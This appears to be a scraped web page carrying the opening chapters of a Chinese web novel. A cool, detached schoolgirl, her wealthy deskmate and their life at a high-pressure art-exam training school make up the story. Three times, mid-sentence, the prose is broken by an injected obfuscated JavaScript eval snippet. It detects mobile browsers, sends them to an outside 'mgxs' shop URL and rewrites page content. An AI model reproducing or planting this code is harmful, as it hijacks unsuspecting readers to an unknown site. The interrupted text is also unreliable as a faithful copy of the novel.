《南城冷雨》 1. 01因果 《致冷梧》婋女/文 2026年4月19日,晋江文学城独家发表 “每个人一生,所做出的决定,都深受母亲影响。” · 是冬,小樽。 下午四点,天空呈现蓝调。天狗山下逐渐亮灯。灯光晕黄,如繁星点点。蓝与黄随海水交叠,白雪似浪花,一起静谧地潮起潮落。 冷梧气喘吁吁往前爬,经历一小时,终于登上山顶。 过程虽累,但景色尽收眼底时,心头却一阵畅快。她喜欢这种感觉,攀上顶峰往下看,仿佛世界在她脚下。 忽然,断续的抽泣声传来。 有个女孩在雪里哭泣。她好心送去纸巾,女孩见是国人,不由开始诉苦:“我保研失败,无法实现梦想。感觉活着没有意义,这可怎么办?” 冷梧略一思索,温柔笑道:“你觉得年少成名好,还是大器晚成好?” “当然是年少成名。那些本科就能发SCI的人,能优先得到保研名额。毕竟天下谁人不识君?”女孩流着眼泪说。 冷梧静立良久,“我给你讲个故事吧,兴许会让你平衡一点。” “什么故事?” “主角也是一个女孩。她一生幸福,却一生痛苦——你,要听吗?” 女孩点头。 冷梧声音悠长:“那就从她十五岁说起吧。” 二人往山下看去。顷刻间,白雪上的澄黄灯光,正随冷梧的话,化为夏季骄阳。下一秒,小樽海与大陆海,竟在慢慢重叠。 鹏城毗邻香港,九月仍炎热无比。太阳照得海水粼粼,白鸽从海面上掠过,飞向远处的教学楼。 今天是临华高中的开学日,高一新生挤得校园熙熙攘攘。冷梧来到教室时,已经有不少同学,闲聊声此起彼伏。 她目光一扫,直接坐到后排,因为后面可以观察到全部人。可刚坐定,一个风风火火的声音冒上她的耳畔。 “同学,能不能让我们坐这里?” 冷梧抬眼,见两个男生勾肩搭背,长得都不赖,一副势在必得的样子。她客气摇头:“不好意思,这个位置是我先来的。” “全嵘,怎么办?”左边男生用手肘推了推同伴。 那个叫全嵘的男生下巴一抬,从口袋里掏出两张百元大钞:“同学,这钱给你。拜托,就让我俩一起坐吧!” 这是最后一个后排位置。他们是擦边进的临华,无心学习,想坐在后排躲避老师的搜查。 冷梧仍是和气,却轻轻将钱推开:“先来后到。” 全嵘头一次被人拒绝,眼睛都气圆了,不由打量一眼,见女孩浑身名牌,看起来并不缺钱。 呦,手腕上还是卡地亚tank。 一个高中生戴这个表,难怪看不上两百块。他较了真,一屁-股坐在她身旁:“你说的先来后到,那我就坐这,你的同桌注定是我!” 另一个男生索性在前边坐下,笑嘻嘻扭过头看她:“我坐倒数第二排也不错。对了,我叫谭宁浩,你叫什么名字?” “冷梧。冷静的冷,梧桐的梧。”她语气很淡。 全嵘对新同桌的印象,就是人如其名。他支着脑袋,和谭宁浩一唱一和:“以后我们仨就是前后桌了,互相关照。” 冷梧没有回应。 谭宁浩偷偷和全嵘嘀咕:“这女孩乍看温柔,可什么都不说,好傲啊。” 冷梧只当没听见,将身子一侧。反正下学期文理分班,这同桌也当不了三年。 越是好学校,就越开明,因此无人反对两人做同桌。偏偏缘分使然,又都选了文科,再次分到同一个班。全嵘以“你的同桌注定是我”为由,继续明目张胆坐在冷梧身边。 在以成绩论英雄的高中,她却是因外貌而备受关注。美得沉静如水,温柔待人时,又把持恰到好处的疏离。 于是,临华有了一朵知名的高岭之花。面对接连不断的示好,冷梧压根不理睬,送来的吃喝全塞进全嵘嘴里。 他是音乐生,学钢琴。成绩算吊车尾,经常以去音乐室练琴为由,逃避多节晚自习。 冷梧是纯文化生,成绩中等偏上,考个省内一本没问题。她聪明,却喜欢在课上做别的事。老师经常说:“你再努力一点,完全能冲211和985。” 全嵘发现她真的不听课,可每次月考都考得不错,可他却在倒数。 “为什么你能考好?”他大惑不解。 冷梧一脸认真:“临时抱佛脚对你来说很难吗?” 全嵘涨红了脸,见她又在看课外书,是伊恩·麦克尤恩的《赎罪》。他还没来得及开口,便听她说:“你多扫两眼复习提纲就会了。” 他觉得她是贾惜春,偏偏又姓冷。合了那句“心冷口冷心狠意狠”。因为一到考试前,她能快速看完几科资料,从早自习看到晚自习,屁-股都不带挪的,意志力惊人。 全嵘不禁问:“你这次雅思考了多少分?” “5.5。” “复习了吗?” “裸考。我考听力走神了,小分才4.5。” 全嵘双手捂脸,叹气声从指缝流出:“我认真突击两个月才6.0,还是比不过你。” “5.5分都够去意大利留学了,”冷梧抬眼,“你还不转国际班?” 全嵘挠挠头:“我老师想让我去星海。” “这倒也是,”她点头,“国内艺术都是拜山头。你老师是星海教授,本科跟恩师混一圈,硕士再出国,回国后无缝进乐团。” “冷梧,你好懂喔。”全嵘觉得和她说话特过-瘾,什么都能接上。两人能从股票说到吃喝,共同话题多到聊不完。 “我小时候学大提琴,老师也是星海教授,还要每周坐车去羊城。当时在她家里,大家聊的都是出国。有个师姐在德国Kronberg进修,老师面上可有光了。”冷梧波澜不惊,“可惜我对弦乐真没兴趣。对了,你怎么不考附中?” 这话让他变成苦瓜脸:“因为我妈觉得,弹钢琴当作-爱好就行。我好不容易说服她,让我继续学琴。” “可惜了。你要是走职业,附中升本科可是嫡系血脉。” “就是嘛。”全嵘趴在桌上,空调冷气吹在身上,整得他昏昏欲睡,“周末去迪士尼玩?” “我们都去过三次了。再说,港迪好小。你怎么就玩不腻呢?” “那去东迪?我请你去。”他笑嘻嘻,“或者去大阪环球,叫上谭宁浩呗。” 冷梧直截了当:“我这次不想和你去。” 全嵘沮丧垂下头。 “你要是去东京,能不能帮我代购?”她来了兴致,“我想要一对agete的耳环,我转你钱。” “乐意效劳!” · 周一返校时,冷梧见到桌上有两个礼品袋,全嵘在乐呵呵邀功:“这是你要的耳环……这个是我送你的礼物。” “你还挺大方。”她大方接受,“谢了。”既来之则接受,是她的一贯态度。拆开包装,是江户切子的曙光杯,如橙色骄阳。 老师在上面讲课,全嵘不想听,将头悄悄转到左边,见她在书上涂鸦,大波洛侦探有着可爱的八字胡,活灵活现。 “冷梧,我觉得你应该去学画画。” “没必要。” “为什么?我觉得你好像对画画很有兴趣。” “因为我觉得人生很无聊。”她闲闲托腮,“人都是会死的,做什么都没有意义。何必呢?” 全嵘张张嘴,不知该如何反驳。半天憋出一句话:“没有意义……那你快乐吗?” 冷梧瞥他一眼:“快乐,谈不上?对我而言,每天都很平淡。不会因为喝杯奶茶就高兴,也不会因为我妈给一千块零花钱而开心。” “你就没有难过的事?” 她慢悠悠翻书:“难过是什么?丢一千块我也不会难过。” 全嵘咂舌。一千块当然不多,他是稀奇她这态度,渺渺如天上云。 “那我们许个愿望吧。”他从书桌里翻出便利贴,兴致勃勃地说,“我希望你能感到开心,难过就算了!” 冷梧提笔,随意写下一行字: 「致我,找到开心。」 全嵘乐了,凑过去在下面写: 「致冷梧,永远开开心心。」 她瞥了一眼:“你学我。” “我就喜欢学你。”全嵘振振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500950|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有词,郑重地将便利贴,粘在两张桌子缝中。他的字迹上扬,像小拇指般,不经意勾到她的字。 全嵘瞧了一会,连忙移开目光。 而冷梧还在看那本《赎罪》。他伸长脖子,赫然见醒目红线上是一行字:不以理智为基础的爱情是注定要失败的。 他鬼使神差地扭头,目光落回到便利贴上。两个名字正好被阳光照耀,字迹影子虚虚挨在一块,像握住了彼此的手。 “别看了。”冷梧支着脑袋,悠闲自在,“去给我买个冰淇淋。” 正好下课铃响起,全嵘像接到长官命令,腾一下蹿出教室。 冷梧望着他离开的身影,莫名想到他那句话—— “冷梧,我觉得你应该去学画画。” 这话在她心里泛起涟漪。 · 于是,高二的一个黄昏,她去到学校画室。画室人并不多,老师以为她是来咨询艺考的,便试了一下功底。 冷梧对着石膏随便打了形。老师站在她身边,目光不掩欣赏:“你以前没学过画画?但是造型画得很准……”老师又叹息,“你几年级?——高二,可惜了。高二暑假就要去参加集训,如果没有经历过前期培训,很难在艺考中取得高分。” 冷梧听完,直接离开画室,却意外撞上隔壁音乐室的全嵘。 他望着冷梧手上的画纸,不由分说地取过举起:“冷梧,你画得真好!你就该去学画画。” 她很平静:“还给我。” 全嵘快言快语:“我们是同桌,三年下来天天在一起。你要是去艺考,正好一起去,又能作伴了。” 话音未落,他突然反应过来,慌乱地解释:“我不是那个意思,你别误会!我是觉得……我们在一起……啊啊啊!” 一个语无伦次,一个风轻云淡。 教学楼上,少年的脸红过晚霞。 冷梧轻轻道:“我不去。” “为什么?” “没有意义。” “就算结果没有意义,但过程很重要!”全嵘掷地有声,“难道你不觉得,体验是人生中重要一环吗?感受快乐、希望和努力。” 冷梧这才正眼望他,只见他表情认真,脸上的红在慢慢褪-去。 “不是每个人都姓全。”她简单概括家境。做生意但并非大富大贵,又平静地说,“学艺术成为穷光蛋的概率,几乎是百分之九十。我家没必要花这笔钱,去投资一条暂无回报的路。” 艺考费用大约是九、十万,其实这笔钱她自己就能承担。家里从不管她的钱,甚至还说,身上有笔钱能以防不时之需。 全嵘震惊,一直以为她是富家女,没想到只是中产家庭。见她将手搭在栏杆上,态度依旧从容。 “我一直以为,你家里……”他结结巴巴,绞尽脑汁想形容词,不想伤害女孩的自尊心。 “这没什么。”冷梧坦荡,“我家是没有你家富裕,但不影响我妈妈爸爸对我好。再说,我凭什么不能享受好东西?” 全嵘眨眼,见一缕风吹过,将她的发丝往前飞扬。平时她说的话,正如此风,远远走在他前面。 “你说得对。”在晚霞中,他忽然说,“就算你不听课,都能考得不错。你这么……好,我只是觉得,你可以去更好的地方。” 可冷梧又绕回到本心理论:人迟早会离开,学了也毫无意义。于是淡淡离开,不再搭理。 · 时间一晃到高二的六月底。全嵘跑得气喘吁吁,拦住放假回家的她。 “冷梧,一起去羊城吧!我给你报了集训机构……和我是一样的。我们又能继续做朋友了。” 冷梧眉心一动:“你说什么?” 全嵘语气笨拙,眼神却很真诚:“我给你付了集训的费用。你不要觉得有负担,我只是不想你蒙尘。” “是吗?” 她知道全嵘家有钱。省内谁不知道虹科?首屈一指的科技公司。 果然,他重重点头:“我想一直和你做朋友。更何况,你难道不想自己的画被人看见吗?” 头顶太阳明晃晃,光芒似张口的獠牙,在吞下她之前询问—— 你想天下谁人不识君吗? 2. 02成败 冷梧初中时游学,去过河南博物馆。 武则天的金简摆在展柜里,讲解员说是赎罪金简。她置若罔闻,只盯着上面的“曌”字。 政.客真的会赎罪吗?冷梧自认不会。任何一个爬上过顶峰的人,从来都不会问心有愧。 母亲刘棠的茶室悬着一幅字——无上甚深微妙法,百千万劫难遭遇,我今见闻得受持,愿解如来真实义。 此为武则天所作。 百千万劫难遭遇。劫为时间,时间里发生的事,究竟是机遇,还是厄运? 冷梧淡笑,对全嵘说:“好。我去试试。” 集训机构名叫衡约,是羊城最好的艺考机构,涵盖了所有艺考的项目培训。 全嵘是音乐生,弹得一手好钢琴。其实按照家里的规划,出国念艺术本科是最好的。全嵘却坚持要留在国内,他对母亲说:“在省内的星音不是挺好的吗?我不想出国,出国就见不到老妈了。” 他哄得全母一套套的,全母觉得儿子有孝心,便随他而去。再说,星海音乐学院作为老牌学校,在省内颇具声望。 “我倒不担心你的艺考,就是文化课.....”全母在电话那头叹气,“要不我去羊城陪你吧?” 全嵘连连拒绝:老妈,不必啦。我在羊城好好的。您放一百个心,我一定会达到星海的文化线。况且,我们是封闭式集训,您来了也没有。一个礼拜就放一天假,机构偏得要死,出去一趟特别麻烦......” 全母听罢,便打消了念头,认真嘱咐诸多事宜,最后说:“钱不够就直接说。” “得嘞,谢谢老妈!”全嵘见冷梧从美术楼走了出来,急忙挂断电话,“老妈,下次再聊,我要去吃饭了。” 音乐生和美术生不在同一栋大楼。但二人会心照不宣地等待彼此,不过一般是全嵘等得多。 “收好你的手机,小心被老师发现。”冷梧早就看见全嵘在偷偷打电话。机构强行收学生手机,还搞了金属探测器,时不时进行突击检查。 全嵘做了个鬼脸:“没事,我有妙计。每次上课前,我都把手机藏在衣服口袋里,挂在宿舍的阳台上,不怕老师突击进宿舍检查。” 二人一边说,一边去食堂排队。 “还有一招,叫灯下黑。老师不会搜查教室,我带去上课,从来没被抓到过。”全嵘摇头晃脑,像小狗在摇尾巴。 冷梧笑了:“你鬼主意倒多。” 她没和家里提集训的事,反正在临华是内宿,也要上交收手机。交手机前,她和妈妈通了电话,说高三学习紧张,周末就不回去了。 “想不想去韩国念英授本科?你前两个月雅思不是考了6.5吗?妈妈给你想好了,去念个海本,然后再念个海硕。去欧洲、澳洲就很好嘛——”母亲刘棠说,“家里有条件,又何必那么辛苦。” 冷梧思索片刻,点头说好,但还是想体验一下高考。 老爸一听,更是心疼她,立刻往卡里打了一笔钱:“宝贝,反正会考结束了,留学的事我和你妈来办。你在学校就好好吃饭!” 临华的饭不错,可衡约的饭却不怎么样。机构管得严格,绝不可能点外卖,只能老老实实在食堂吃饭。 冷梧吃得很少,她对食物提不起兴趣。全嵘嘴上说着嫌弃,却风卷残云地吃得精-光。 用过晚饭,待会还有晚课。冷梧抬起脚尖,见鞋面满是铅笔灰。她皱起眉,这些铅灰怎么也甩不掉。集训已经一个月,她的每双鞋子,都落满了铅灰和水彩印。 全嵘望着她,直接说:“晚上下课,你把鞋子给我,我帮你刷了。”他想得很简单:冷梧怎么能穿脏鞋子呢? 冷梧抿了抿唇,却并没有拒绝。 温柔笑着:“那麻烦你了。”全嵘既然乐意,她更应该接受。自古周瑜打黄盖,就是一个愿打一个愿挨。 全嵘看了眼表,先回宿舍:“我得给我妈打个电话,下晚修后,我在楼下等你!” 冷梧望着他离去的背影,并没有说再见。全嵘和母亲的关系很好,总是隔三岔五打电话。其实她不怎么和家里聊天,她知道父母是爱她的,她也爱父母,但没必要说出来。 冷梧在精品班上课,但最好的班级是大师班。大师班不另外收费,只按成绩排名进入,培养的都是冲-刺状元的学生。每个月月考的前三十名,可以直升大师班。大家为了这个名额争得头破血流,她觉得有点像玩蛊。 这一个月她过得并不好。 集训的日子非常高压。每天早上七点上课,一直画到中午十二点;休息两小时,下午又画到五点;吃完晚饭后,傍晚七点上晚课,画到十一点才结束。 十一点还算早,就算下了晚课,大家也不会离开。 正所谓人外有人,天外有天,冷梧发现自己的那点小才华,在天赋怪面前,根本不值一提。 画室老师的嘴巴极其毒辣。冷梧记得第一次画色彩时,老师用长长的棍子越过人群,重重指向她的画板:“你是色弱吗?饱和度这么高!灰下去,给我画得灰下去!” 画的静物永远是不锈钢、砂锅、葡萄......构图基本是竖构图,模板式的方正桌子,饱和度极低的色调。 食物灰蒙蒙的,画得人失去食欲。 所有的创作想法被扼杀在摇篮中。 艺术本该是自由的,本该是随创作者打造出来的。可是在画室,所有人都画得一模一样。素描的角度,光影,是可以背下来的。速写也可以背下来,背衣服的褶皱、鞋子,甚至脸也可以背。 一切都是规训好的,老师们只有一个口号:“取得联考高分!” 是的,只有这样才可以取得高分,才能走进大学。 冷梧身旁的男同学默默无闻,却坚持己见,画着自认的艺术。老师的棍子像是刀,砍断了他的画板,“你要是这样画,一辈子都考不上大学!” 画室回荡着老师的斥责声,没有学生敢开口。大家似乎已经习以为常,只是飞快地看了一眼,然后又将头埋在画板上。 大家都麻木了,高压的环境让他们从没停过手臂。冷梧的右臂极酸,每天不知挥舞了多少下,镇日贴着药膏。 她的基础不行,周考名次都排在尾巴。老师只爱捧排名前的学生,对排名末尾的学生爱答不理。这里的座位按成绩排,成绩好的学生,就坐在离投影幕近的地方。冷梧坐到了后面,不是自主选择,而是被迫。 眼下吃过晚饭,冷梧回到教室,有不少同学在埋头画画。很多人都不会去吃饭,随便应付两口就行。食物和画笔盒堆在一起,画架下是颜料盒,左边是洗笔的水桶。地板落满了铅灰,脚印凌乱地踩在上面,怎么擦都擦不干净。 她想起今天有十张速写作业,还差三张没画完。便扎好头发,眼下的乌青圈像下过雨的洼地。 先削笔,将笔尖削得尖尖的,像把冒着寒光的刀。她将速写板夹在膝盖上,没有叹气,抢夺着上晚课前的时间,像个机器一样开始画速写。 傍晚七点,上课铃准时响起。 “晚课画速写。”老师的目光在人群中搜索,点了冷梧和另外一个女生的名字,“你们两个叫什么?对,就你俩,长那么好看,出来做模特。” 老师记不住成绩单尾巴的名字。 冷梧还没画完速写作业,却不得不站了起来。另外一个女生有些难过,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500951|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果做模特,今晚就不能练习,那她就会落后别人一-大截。 二人摆着双人动作,冷梧面无表情,连话都不想说。 就这样站了一个晚上,晚课结束后,老师照例收作业。冷梧自然没交上,老师可不管,直接在教室叫嚷:“为什么人家能交上,你就交不上?时间是挤出来的,你不画怎么进步?你看看你自己画的,像一坨feces!今天交不上,明天交十五张!” 冷梧站在教室中,接受老师劈头盖脸的辱骂。同学们的目光凝聚过来,她像穿了件湿透的衣服,紧紧黏地在身上。 她深吸一口气,并没有反驳。 下晚课后,她回宿舍快速洗澡,因为晚上十二点会断热水。再用袋子将鞋子装好,来到美术楼下,全嵘早已等候多时。 他一脸疲倦,正活动着手腕。见到冷梧时,突然溢出笑容,疲惫一扫而空。二人交谈两句后,全嵘不禁抱怨:“弹了一天的曲子,我的手都要断了.......老师特别严格,今天有好几个人都被骂得狗血临头。” 冷梧静静听着,“你等一下。”走到小卖部买了瓶冰水,贴着全嵘的手腕,“冷敷一下吧。我那里有治酸痛的药膏,明天中午给你带过来。” 她说完,手轻轻离开。冰水随之滴下小水珠,不经意落在全嵘手背上。他一愣,然后抿了抿唇,可笑意却难以抑制。 “嗯,一下子就不酸了。” 冷梧没多余的心思,还得去赶作业。美术楼灯火通明,基本人人都选择孤夜奋战。 和他告别后,冷梧继续回到画室。 她与画室的人不算熟,这里无异是一个小社会。大家只和画得好的人做朋友,因为想央求优秀者帮忙改画。 今天一起当模特的女生叫林苔,成绩也在末尾,在班里很没存在感。今晚她也留在画室里,见到冷梧入内,搬着画椅坐了过去:“那个同学……我可以坐在你身边吗?” 冷梧淡淡一笑:“没事,你坐吧。” 林苔拿出小零食,一边画一边吃,同时还能碎碎念:“这里压力好大,我都暴饮暴食了。越累我就越想吃东西。冷梧,你要吃吗?” 林苔友好地将薯片递过去。 冷梧礼貌摇头,“不了,我晚上不吃东西。” 二人不再说话,只有画笔沙沙的声音。不知过了多久,林苔像是累了,将脑袋抵在速写板上,“冷梧,你有想去的大学吗?” 冷梧握笔的手一顿,画上的速写动作是程序化的。老师教什么,学生就背什么。她索性松开笔,和林苔一样将脑袋抵在板上,“我想去宁城。” 宁城是一座南方城市。有她喜欢的梧桐树,也有艺术学院。 “我想去羊城美院。可美院哪里好考?”林苔是羊城本地人。她叹气,苹果脸变得不新鲜,“要不去隔壁的广艺吧?可我画得那么烂,广艺怕是都考不上。” 两个女孩压低声音,躲在速写板后交换目标。 林苔谈到理想,压力仿佛变得更大,口中薯片嚼个不停。冷梧突然伸出手,“给我一片吧。” 林苔有些惊喜,然后献宝似的将薯片递过去:“这个可好吃了。你要是喜欢,我这里还有!” 冷梧温柔侧头,要让一个人开心地恢复正常,不是勒令,也不是劝阻。而是陪着一起做她想做的事,接受她的分享。 “很好吃。” “我送你一袋。”林苔高兴地悄悄说,“冷梧,我觉得你一定能考上宁艺。” “林苔,我觉得你一定可以去羊美。”冷梧轻轻弯下眼睛。 突然,一道讥讽声响起:“林苔,你真以为能考上羊美?也不看看自己几斤几两。” 3. 03祸端 说话的是徐媛,与冷梧一个宿舍。 宿舍是四人间,冷梧没有和临华的同学分在一起,而是和三个艺术高中的女生住。 这三个女生基础很好,在画室成绩的都不错。对于以成绩论人才的小江湖,冷梧这种食物链底端,已沦为内部的嘲讽对象。 林苔气得发抖:“你说什么呢?有本事再说一遍!” 徐媛慢条斯理地用小刀削画笔,“实话实说罢了。你还真敢想羊美,小心联考分数不够,连大学都上不了。” 她继续挖苦,“冷梧,你也半斤对八两。宁艺好歹是六大艺术学院之首,校考就把你刷下来!” 林苔腾地站起,指着徐媛尖声说:“你看不起谁呢?” 这个动静不小,周围的同学不禁抬头,皱着眉观看,发出窃窃私语声,似乎在埋怨画画时被影响到了。 冷梧轻轻拉着林苔的袖子,示意她坐下。 徐媛趁胜追击:“嘿!说不过我吧?事实胜于雄辩。” 林苔瘪着嘴,脸都涨红了,“冷梧,你怎么不反驳她啊?” 冷梧不以为然:“这有什么好生气的?”又指了指林苔脚上的鞋子,“你这样想,就算她画得好,以后说不定一个月,也赚不到你脚上这双古驰。” 林苔破涕为笑,将零食袋推到她面前,说喜欢哪个就拿哪个。 “所以没必要纠结别人的看法。”冷梧拿了块巧克力,撕开包装放在嘴里,“成绩不是关键因素。就算成绩不好,也可以靠自己出人头地。” 有句话她没说,可成绩好,是往上升的基石与入场券。 · 第二次月考很快降临。一天考三科,素描速写色彩。考完放一天假,老师将手机发还,第二天晚上再上交。 临华学生自动形成一个小团体,冷梧懒得沾边,不亲热却也不远离。难得的假期,大家说去市里逛街,她婉拒邀约。 因为林苔约了她。 全嵘死皮赖脸跟着去,林苔见到有男生在,腼腆地打了个招呼:“你好,我叫林苔。是苔藓的苔。” 这个女孩像蘑菇,个子不高,脸却圆圆的。他开朗一笑:“我是全嵘,峥嵘的嵘。和小梧同校。” “小梧,这就是你说的临华朋友。”林苔挽住冷梧的手臂,低声嘀咕,“还挺帅的。” 全嵘的确长得好看,且让人过目不忘。五官英气俊朗,可脸却很小,组合在一起冲击力十足。他个子高挑,完全是衣架子。 全嵘注意力并没有放在夸帅上,而是捕捉到了“小梧”这个称呼。他酸溜溜的,就像杯气泡水,在咕噜噜冒泡。 “我带你们去吃吉祥巷鸡饭。”林苔兴冲冲道。她是羊城本地人,自告奋勇做起导游,“反正回家也待不了几个小时,不如和你们出去玩。” “行,我家司机来了。我们坐车去市区。”全嵘说。 他非要坐后排,冷梧只好坐在二人中间。 轿车穿梭在绿荫中,林苔忽然摁下按钮,夏风穿窗而入,拂动冷梧的长发,不经意拂过全嵘面颊。 清风徐来,水波微兴。 三人在商场下车。“我们来拍大头贴吧!”林苔提议,睁着圆圆眼睛向冷梧卖萌。 “行。”她答应。 两个女孩在镜头前摆pose,外面传来全嵘的声音:“你们怎么把我落下了?” 他自顾地掀开帘子,林苔瞪着他:“喂!女孩子拍照,你进来干嘛?” 全嵘做了个鬼脸:“小蘑菇,我也要拍。” “你!”林苔皱眉。 冷梧在一旁看热闹。 结果,个子最矮的林苔被簇拥在中间,全嵘提醒:“快摆pose,倒计时了!” 冷梧微微贴近林苔,而全嵘支着手臂,越过冷梧肩头,像是在错位拥抱。林苔还没反应过来,已经咔嚓几连拍。 “啊啊啊啊,都怪你!”林苔瞪着他。 照片被弹出来,全嵘眼疾手快,一把夺过。照片上的冷梧难得笑靥如花,这个错位衬得像他在揽住她的肩。 “先给我保管,回去我再剪下来。一人一张,就当作集训纪念。”全嵘臭屁挑眉,自作主张地收进口袋里。 林苔忍不住翻了白眼,刚刚的腼腆模样尽失。 冷梧笑说:“小苔,别生气,他就这样。我们去吃你说的吉祥巷鸡饭吧。” 林苔这才阴转晴。 三人来到店铺,点了霸王花鸡汤和招牌黄金鸡饭,林苔强烈推荐:“他们家的饭焦巨好吃!” 全嵘给两个女孩涮碗筷,掏出自备的tempo纸巾:“诶,我们用这个。等下可以退纸巾钱。” 林苔竖起大拇指。 三人吃得尽兴,又慢悠悠地在滨江西路散步,日暮西沉,就这样抱住少年们。 无关成绩,无关烦心事,享受最单纯的夕阳。 · 几天后,月考成绩新鲜出炉。冷梧的名字往上走了几步,却还是在末尾打转。 有人叫她花瓶,好看却没能力。 这里像一个吸魂容器,蚕食着她的精神。尽管没日没夜地画,却还是难以提升。 这晚,冷梧离开美术楼时,已是凌晨一点。一楼灯熄了,昏暗暗的,看不清脚下的路。 “冷梧,这么晚才回去啊?”一道男声在后面响起。 冷梧回头,礼貌应付:“老师好。” 他是素描组老师之一,花边新闻不少,似乎很喜欢与女学生套近乎。 想到这里,她和男老师告别:“老师,我先回去了,您早点休息。” “冷梧,我见你勤奋,却进步不大。做老师的,该和学生沟通一下……”男老师慢慢走近,语气和善,“下次有不懂的地方,可以来找老师。” 他说着,手却忽然搭上她的肩。 冷梧掀起眼帘,见男老师还在“循循善诱”地说:“老师是惜才的。” “是吗?”她微微一笑。 男老师声音低沉,手一点点往下滑,贴着她的脊背:“当然。” “老师,您真好心。”冷梧莞尔。 男老师笑了一声,“这么晚了,你一个人回宿舍不安全,不如......” 冷梧装傻充愣:“不如什么呀?”说完,她轻轻抬起脚,毫不犹豫地狠狠跺下去。 男老师闷叫一声,还没来得及发飙,一只拳头飞上他的脸,鼻梁上的眼镜“嗖”一下,如火箭般蹿了出去。 “你配做老师吗?!”全嵘气呼呼往男老师脸上砸。 还好他每日都要和冷梧道晚安,不然这老师铁定要欺负人! 想到这里,全嵘不禁怒火中烧,他连她的一根手指都不敢碰,这个老师竟然敢堂而皇之地上手? 冷梧在一旁静观,并没有阻止。 “你连学生都下得去手,看我不好好教训你!以后还敢不敢这样?”全嵘年轻气盛,仗着个子高,将男老师压在身下。 冷梧觉得差不多了,才一拽他的手臂:“够了。” 全嵘松开拳头,一脸懑愤:“记住了,我叫全嵘,有本事就来音乐楼找我!” 二人扬长离去,留下男老师在后面叫嚣:“冷梧,全嵘,你们给我等着!” 走到宿舍楼下,全嵘仍不服气:“如果不是你拦着,我一定把他打得落花流水。” “疼吗?”冷梧轻声问。 全嵘脸上的不服气慢慢褪下,在皎洁的月光中,他不自然地摸了摸后脑勺,“不疼。能为你出头,我很高兴。” 冷梧抿唇,眼前的少年虽然羞涩,眉眼却掩饰不住意气风发。 “谢谢你。” 全嵘忽然左看看,右看看,幽兰的天上是一轮明月。眼神转了一圈后,才终于慢慢往下低。 月光下,冷梧温柔似水。 “不用谢。”他竟变得扭捏,“小梧,我会好好守护你。” 冷梧笑了一下,大方地说:“那你说到做到。” “我当然会说到做到。”全嵘拍拍胸脯,信誓旦旦。他看了眼表,“时候不早了,你回去睡觉吧,我看你宿舍。” 冷梧走到宿舍大门,正准备乘电梯上楼时,她忽然转头。 树下,少年笑容灿烂,伸出双臂冲她挥手:“晚——安——” 她抬起手,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500952|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅度地一挥,又一挥。 · 翌日,冷梧还等着老师来问话,结果一个早上都没人来找她。 发生这样的事,自然谁都要面子,装聋作哑才是生存之道。 冷梧继续安心画画。她知道自己基础薄弱,因此更加用功,虚心地请教成绩好的同学。俗话说伸手不打笑脸人,她礼数周全,送上小零食,也有两三个热心人愿意帮她改画。 虽然画画很累,但冷梧乐在其中。从小到大,她没有为什么东西而努力,直到遇见画画,并且亲自参与,心里好像在慢慢填满。 画画时,她极其容易陷进去,往往会忽视时间的流逝。 “原来画室是这个样子。”全嵘穿梭在长长的画架中,像是在走凌波微步,“小梧,你去吃午饭吧。” “没胃口。”冷梧翻着速写书,别人画十张,她就画二十张。全嵘听后,走出了教室。不一会儿,手里拿着三明治和牛奶。 冷梧自然地接过,撕开包装咬了一口。三明治是温的,沙拉酱的味道被烘得很甜。 全嵘坐在矮矮的画室凳上陪着她。他将头搁在膝盖上,歪着头望着她的画。 “你画得很好。”他很真诚,“我是认真的。” 冷梧举着三明治的手一顿,她从来不怀疑自己,随后继续该吃吃,该喝喝。 过了一会,全嵘声音消失。冷梧侧着头,发现他竟然睡着了。集训起得早,睡得晚,大家都容易犯困。课间休息十分钟,都直接靠在画板上眯眼。 特别是老师范画时,同学们坐在画凳上,望着投影幕,会不由自主地垂下脑袋。老师就板着脸,用棍子戳犯困人的后背,然后起来罚站。 太困了,困到什么地步?站着都能睡着。 冷梧也困,每次想睡过去时,就掐一把自己的大腿。 此刻,她望着沉睡的全嵘,却没有选择推醒他。 教室空调丝丝飘出冷风,她提起笔,在速写本上飞快画出一个图案:睡着的少年。 夏季,午后,还有他。 集训压力大,当无处发泄时,人往往会向低一级的人开刀。 冷梧回到宿舍时,已是凌晨一点。她习惯在下午洗好澡,所以晚上回来直接就能入睡。 宿舍还亮着灯,室友还在桌上画作业。努力的人太多了,一旦松懈,就会被更努力的人反超。 “把垃圾丢了,冷梧。”徐媛发号施令。 